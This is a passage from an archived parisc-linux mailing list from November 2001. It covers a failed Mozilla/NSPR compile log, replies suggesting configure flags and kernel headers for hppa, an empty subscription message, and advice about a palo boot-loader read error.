defaults to `int' in declaration of `PRBool'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:85: `PRBool' declared =
as function returning a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:85: `PRBool' =
redeclared as different kind of symbol=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:411: previous =
declaration of `PRBool'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:95: `PR_VersionCheck' =
declared as function returning a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:109: parse error =
before "PRUintn"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:129: parse error =
before '*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:129: parse error =
before "argc"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:129: warning: type =
defaults to `int' in declaration of `PRIntn'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:129: `PRIntn' declared =
as function returning a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:132: parse error =
before "prmain"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:132: `PR_Initialize' =
declared as function returning a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:137: `PR_Initialized' =
declared as function returning a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:184: parse error =
before "numCPUs"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:216: field =
`initialized' declared as a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:217: parse error =
before "PRInt32"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:217: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:219: parse error =
before '}' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:219: warning: type =
defaults to `int' in declaration of `PRCallOnceType'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:219: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:224: parse error =
before '*' token=0A=
In file included from /usr/local/src/mozilla/dist/include/nspr/prio.h:46,=0A=
                 from /usr/local/src/mozilla/dist/include/nspr/nspr.h:49,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:85: parse error before =
"PRInt32"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:85: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:86: warning: type =
defaults to `int' in declaration of `tp_dst_offset'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:86: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:87: warning: type =
defaults to `int' in declaration of `PRTimeParameters'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:87: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:113: parse error =
before "PRInt32"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:113: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:114: warning: type =
defaults to `int' in declaration of `tm_sec'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:114: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:116: parse error =
before "tm_min"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:116: warning: type =
defaults to `int' in declaration of `tm_min'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:116: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:117: parse error =
before "tm_hour"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:117: warning: type =
defaults to `int' in declaration of `tm_hour'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:117: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:118: parse error =
before "tm_mday"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:118: warning: type =
defaults to `int' in declaration of `tm_mday'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:118: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:120: parse error =
before "tm_month"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:120: warning: type =
defaults to `int' in declaration of `tm_month'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:120: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:121: parse error =
before "tm_year"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:121: warning: type =
defaults to `int' in declaration of `tm_year'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:121: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:124: parse error =
before "tm_wday"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:124: warning: type =
defaults to `int' in declaration of `tm_wday'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:124: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:126: parse error =
before "tm_yday"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:126: warning: type =
defaults to `int' in declaration of `tm_yday'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:126: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:129: parse error =
before "tm_params"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:129: warning: type =
defaults to `int' in declaration of `tm_params'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:129: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:130: warning: type =
defaults to `int' in declaration of `PRExplodedTime'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:130: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:155: parse error =
before '*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:155: warning: type =
defaults to `int' in declaration of `PRExplodedTime'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:155: parse error =
before '*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:155: warning: type =
defaults to `int' in declaration of `PRTimeParameters'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:155: =
`PRTimeParameters' declared as function returning a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:155: =
`PRTimeParameters' redeclared as different kind of symbol=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:87: previous =
declaration of `PRTimeParameters'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:192: parse error =
before "PRTimeParamFn"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:200: warning: type =
defaults to `int' in declaration of `PRExplodedTime'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:200: parse error =
before '*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:215: parse error =
before '*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:222: warning: type =
defaults to `int' in declaration of `PRExplodedTime'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:222: parse error =
before '*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:222: =
`PR_LocalTimeParameters' declared as function returning a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:225: warning: type =
defaults to `int' in declaration of `PRExplodedTime'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:225: parse error =
before '*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:225: =
`PR_GMTParameters' declared as function returning a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:231: warning: type =
defaults to `int' in declaration of `PRExplodedTime'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:231: parse error =
before '*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:231: =
`PR_USPacificTimeParameters' declared as function returning a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:281: parse error =
before "PR_FormatTime"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:282: warning: type =
defaults to `int' in declaration of `PRExplodedTime'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:282: parse error =
before '*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:282: warning: type =
defaults to `int' in declaration of `PR_FormatTime'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:282: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:288: parse error =
before "PR_FormatTimeUSEnglish"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:288: parse error =
before "PRUint32"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:289: warning: type =
defaults to `int' in declaration of `PR_FormatTimeUSEnglish'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:289: warning: data =
definition has no type or storage class=0A=
In file included from /usr/local/src/mozilla/dist/include/nspr/nspr.h:49,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:83: field `identity' =
declared as a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:150: parse error before =
"PRUint8"=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:150: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:150: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:151: warning: type =
defaults to `int' in declaration of `_S6_u16'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:151: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:152: parse error before =
"_S6_u32"=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:152: warning: type =
defaults to `int' in declaration of `_S6_u32'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:152: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:154: parse error before =
'}' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:154: warning: type =
defaults to `int' in declaration of `_S6_un'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:154: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:155: parse error before =
'}' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:165: parse error before =
"PRUint16"=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:165: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:165: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:171: parse error before =
'}' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:171: warning: type =
defaults to `int' in declaration of `raw'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:171: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:173: parse error before =
"PRUint16"=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:173: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:174: warning: type =
defaults to `int' in declaration of `port'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:174: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:175: parse error before =
"ip"=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:175: warning: type =
defaults to `int' in declaration of `ip'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:175: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:181: parse error before =
'}' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:181: warning: type =
defaults to `int' in declaration of `inet'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:181: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:183: parse error before =
"PRUint16"=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:183: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:184: warning: type =
defaults to `int' in declaration of `port'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:184: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:185: parse error before =
"flowinfo"=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:185: warning: type =
defaults to `int' in declaration of `flowinfo'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:185: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:186: conflicting types =
for `ip'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:175: previous =
declaration of `ip'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:187: parse error before =
"scope_id"=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:187: warning: type =
defaults to `int' in declaration of `scope_id'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:187: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:188: warning: type =
defaults to `int' in declaration of `ipv6'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:188: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:191: parse error before =
"PRUint16"=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:191: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:193: parse error before =
'}' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:193: warning: type =
defaults to `int' in declaration of `local'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:193: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:195: parse error before =
'}' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:231: field `polarity' =
declared as a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:232: parse error before =
"PRIntervalTime"=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:232: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:233: warning: type =
defaults to `int' in declaration of `PRLinger'=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:233: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:236: field `mcaddr' has =
incomplete type=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:237: field `ifaddr' has =
incomplete type=0A=
/usr/local/src/mozilla/dist/include/nspr/prio.h:238: confused by earlier =
errors, bailing out=0A=
{standard input}: Assembler messages:=0A=
{standard input}:593: Warning: end of file in string; inserted '"'=0A=
{standard input}:613: Warning: .stabs: missing comma=0A=
make[4]: *** [prfdcach.o] Error 1=0A=
make[4]: Leaving directory `/usr/local/src/mozilla/nsprpub/pr/src/io'=0A=
make[3]: *** [export] Error 2=0A=
make[3]: Leaving directory `/usr/local/src/mozilla/nsprpub/pr/src'=0A=
make[2]: *** [export] Error 2=0A=
make[2]: Leaving directory `/usr/local/src/mozilla/nsprpub/pr'=0A=
make[1]: *** [export] Error 2=0A=
make[1]: Leaving directory `/usr/local/src/mozilla/nsprpub'=0A=
make: *** [export] Error 2=0A=

------=_NextPart_000_0015_01C16398.4A7F4C80--



From - Thu Nov 08 21:20:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Mozilla on parisc-linux fails
Date: Fri, 2 Nov 2001 14:09:41 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <20011102140941.B17393@dogbert.localdomain>
References: <OE761L3gJcYPqd2rg2Q00007507@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="uAKRQypu60I7Lcqm"
X-Trace: ger.gmane.org 1416620696 29010 80.91.229.3 (22 Nov 2014 01:44:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kenneth westelinck <kennywest1@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  2 05:10:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8AFE0482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 Nov 2001 05:10:36 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 15zd9b-0007M2-00
	for parisc-linux@lists.parisc-linux.org; Fri, 02 Nov 2001 14:10:31 +0200
Original-Received: (qmail 13507 invoked from network); 2 Nov 2001 12:10:27 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 2 Nov 2001 12:10:27 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15zd8n-0004X4-00; Fri, 02 Nov 2001 14:09:41 +0200
Content-Disposition: inline
In-Reply-To: <OE761L3gJcYPqd2rg2Q00007507@hotmail.com>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *15zd9b-0007M2-00*lbM1GKY2.ME* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12869

--uAKRQypu60I7Lcqm
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello,

On Fri, 02 Nov 2001, kenneth westelinck wrote:

<snip>

> "--build=hppa-hpux --host=hppa-hpux" the right way to go? If so, can someone
> provide me with the model header file or the correct typedefs?

Unless I am very much mistaken, you probably don't want this. Even
though this is a HP system, it is running the Linux operating system,
with its associated header files.

AFAIK, we're still missing a kernel-headers package for hppa; someone
suggested simply install the sparc one. Don't know how well that works.

Regards,

Albert

--uAKRQypu60I7Lcqm
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE74o0FDg+hOeRZtkMRAuTAAJ9bwHiQ1K0lKOZ8FJBjbNbmzl+u+QCfVhYJ
zBdih1sBtv1P6xFkJns8lHw=
=AjG6
-----END PGP SIGNATURE-----

--uAKRQypu60I7Lcqm--



From - Thu Nov 08 21:20:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kaj-Michael Lang" <milang@tal.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Mozilla on parisc-linux fails
Date: Fri, 2 Nov 2001 16:18:44 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <003101c163a9$48570590$56dc10c3@amos>
References: <OE761L3gJcYPqd2rg2Q00007507@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620696 29012 80.91.229.3 (22 Nov 2014 01:44:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:56 +0000 (UTC)
To: "kenneth westelinck" <kennywest1@hotmail.com>,
	<parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  2 07:14:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from kura.mail.jippii.net (kura.mail.jippii.net [195.197.172.113])
	by dsl2.external.hp.com (Postfix) with ESMTP id 45E39482B
	for <parisc-linux@parisc-linux.org>; Fri,  2 Nov 2001 07:14:15 -0700 (MST)
Original-Received: from amos (dyn-3-085.tku.netti.fi [195.16.220.86])
	by kura.mail.jippii.net (Postfix) with SMTP
	id B9F3438A3; Fri,  2 Nov 2001 16:14:05 +0200 (EET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12870

> "./configure --build=hppa-hpux --host=hppa-hpux". Again I passed the test
so

Try:

./configure --build=hppa-linux --host=hppa-linux

Works with a bunch of software that won't recogonice "parisc"

--
Kaj-Michael Lang , milang@tal.org






From - Thu Nov 08 21:20:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Raffaele Sgueglia" <elle@mailitsys.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] subscrive
Date: Fri, 2 Nov 2001 15:31:35 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <003401c163ab$1419b0f0$12fba8c0@elle.ce>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0031_01C163B3.7529E420"
X-Trace: ger.gmane.org 1416620696 29013 80.91.229.3 (22 Nov 2014 01:44:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:56 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  2 07:31:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailitsys.it (unknown [217.59.178.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE0D7482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  2 Nov 2001 07:31:33 -0700 (MST)
Original-Received: from develop (elle [192.168.251.18])
	by mailitsys.it (8.9.3/8.9.3) with SMTP id PAA14174
	for <parisc-linux@lists.parisc-linux.org>; Fri, 2 Nov 2001 15:34:15 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12871

This is a multi-part message in MIME format.

------=_NextPart_000_0031_01C163B3.7529E420
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable



------=_NextPart_000_0031_01C163B3.7529E420
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0031_01C163B3.7529E420--




From - Thu Nov 08 21:20:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: [parisc-linux] More Install on C110: Kernel doesn't load...
Date: Fri, 02 Nov 2001 09:18:30 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <E15zh1a-0006SD-00@noam.fc.hp.com>
References: <sbe28dc3.046@ms-zrt1>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620697 29017 80.91.229.3 (22 Nov 2014 01:44:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:57 +0000 (UTC)
Cc: dan@bigw.org, parisc-linux@parisc-linux.org
To: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  2 09:18:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1EF28482B
	for <parisc-linux@parisc-linux.org>; Fri,  2 Nov 2001 09:18:33 -0700 (MST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 170861F611; Fri,  2 Nov 2001 11:18:32 -0500 (EST)
Original-Received: from noam.fc.hp.com (noam.fc.hp.com [15.1.52.69])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 07D744048; Fri,  2 Nov 2001 09:18:31 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.32 #1 (Debian))
	id 15zh1a-0006SD-00; Fri, 02 Nov 2001 09:18:30 -0700
In-Reply-To: Your message of "Fri, 02 Nov 2001 12:06:49 +0100."
             <sbe28dc3.046@ms-zrt1> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12872

= >Entry 00100000 first 00100000 n 4
= >Segment 0 load 00100000 size 160694 mediaptr 0x1000
= >Segment 1 load 0028a000 size 468472 mediaptr 0x18a000
= >Segment 2 load 00300000 size 8192 mediaptr 0x1fd000
= >Segment 3 load 0034bea8 size 80688 mediaptr 0x1ffea8
= >
= >Error: read from boot device failed (status = -4)
= >byteio_read: seekread() returned -1 expected 2048
= >Error:  segment 0 read() failed

palo has read thee ELF header by then, but fails to read the first
program segment (0).  It's unusual for things to die here.  The
firmware docs say error -4 is "unrecoverable hardware error".
Perhaps the ISO image got truncated or is shorter than it should be?
